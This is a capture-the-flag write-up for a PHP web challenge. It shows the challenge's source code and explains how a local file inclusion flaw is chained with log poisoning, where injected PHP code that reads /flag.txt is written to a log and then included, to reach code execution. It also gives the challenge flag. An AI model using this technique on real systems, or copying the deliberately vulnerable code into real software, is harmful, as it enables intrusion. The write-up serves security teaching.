WHO IS JH
Description
I WANT TO BELIEVE. He can’t be all three. Something doesn’t add up!
Author: @HuskyHacks
Solution
First Look
The challenge is a simple PHP application composed of four files: index.php
, log.php
, upload.php
, and conspiracy.php
.
index.php
This is the main page of the application. It includes the log.php
file.
log.php
This file contains a function logEvent
that logs a message to a centralized log file. It uses the file_put_contents
function to write the message to the log file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$logFile = 'logs/site_log.txt';
/**
* Logs a message to the centralized log file.
*
* @param string $message The message to log.
*/
function logEvent($message) {
global $logFile;
if (!is_dir(dirname($logFile))) {
mkdir(dirname($logFile), 0755, true);
}
$timestamp = date('[Y-m-d H:i:s]');
$formattedMessage = "$timestamp $message\n";
file_put_contents($logFile, $formattedMessage, FILE_APPEND);
}
?>
upload.php
This file is responsible for handling file uploads. It checks if a file was uploaded, validates the file type, generates a unique name for the file, and moves the file to the uploads/
directory. It also logs events using the logEvent
function. It only allows files with extensions jpg
, png
, and gif
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
require_once 'log.php';
$uploadDir = 'uploads/';
$allowedExtensions = ['jpg', 'png', 'gif'];
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['image'])) {
$originalName = basename($_FILES['image']['name']);
$fileTmpPath = $_FILES['image']['tmp_name'];
$fileExtension = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
$uniqueName = uniqid() . "_$originalName";
$uploadPath = $uploadDir . $uniqueName;
if (in_array($fileExtension, $allowedExtensions)) {
if (move_uploaded_file($fileTmpPath, $uploadPath)) {
logEvent("Uploaded file: $uniqueName");
$message = "Your file <strong>$originalName</strong> has been uploaded successfully! The truth is out there.";
} else {
logEvent("Error moving file: $originalName");
$message = "Something went wrong during the upload. Is someone tampering with the evidence?";
}
} else {
logEvent("Invalid file type attempted: $originalName");
$message = "The file type you uploaded is not allowed. Are you trying to sabotage the investigation?";
}
} else {
$message = "No file uploaded. Do you have evidence, or are you just here to observe?";
}
?>
...
conspiracy.php
This file is the vulnerable part of the application. It includes a language file based on the language
parameter passed in the URL query string. The language
parameter is used to construct the file path, which can lead to a Local File Inclusion (LFI) vulnerability. The file path is validated to ensure it exists within a specific base directory.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
require_once 'log.php';
$baseDir = realpath('/var/www/html');
$language = $_GET['language'] ?? 'languages/english.php';
logEvent("Language parameter accessed: $language");
$filePath = realpath($language);
ob_start();
if ($filePath && strpos($filePath, $baseDir) === 0 && file_exists($filePath)) {
include($filePath);
} else {
echo "<p>File not found or access denied: " . htmlspecialchars($language) . "</p>";
logEvent("Access denied or file not found for: $language");
}
$languageContent = ob_get_clean();
?>
...
Logs Logs Logs
Since the application logs the value of the language
parameter, we can use this to poison the log file with some PHP code. Then, if we try to include the log file, the PHP code will be executed.
Poisoning the Log
We can poison the log file by passing a malicious language
parameter that contains the following PHP code that reads the flag.
1
2
3
4
5
6
7
<?php
$filename = "/flag.txt";
$handle = fopen($filename, "r");
$contents = fread($handle, filesize($filename));
fclose($handle);
echo $contents
?>
We can do this by sending the following request:
Including the Log and Getting the Flag
Now that we have poisoned the log file, we can include it by passing the following language
parameter:
1
/var/www/html/logs/site_log.txt
The flag is: flag{6558608db040d1c64358ad536a8e06c6}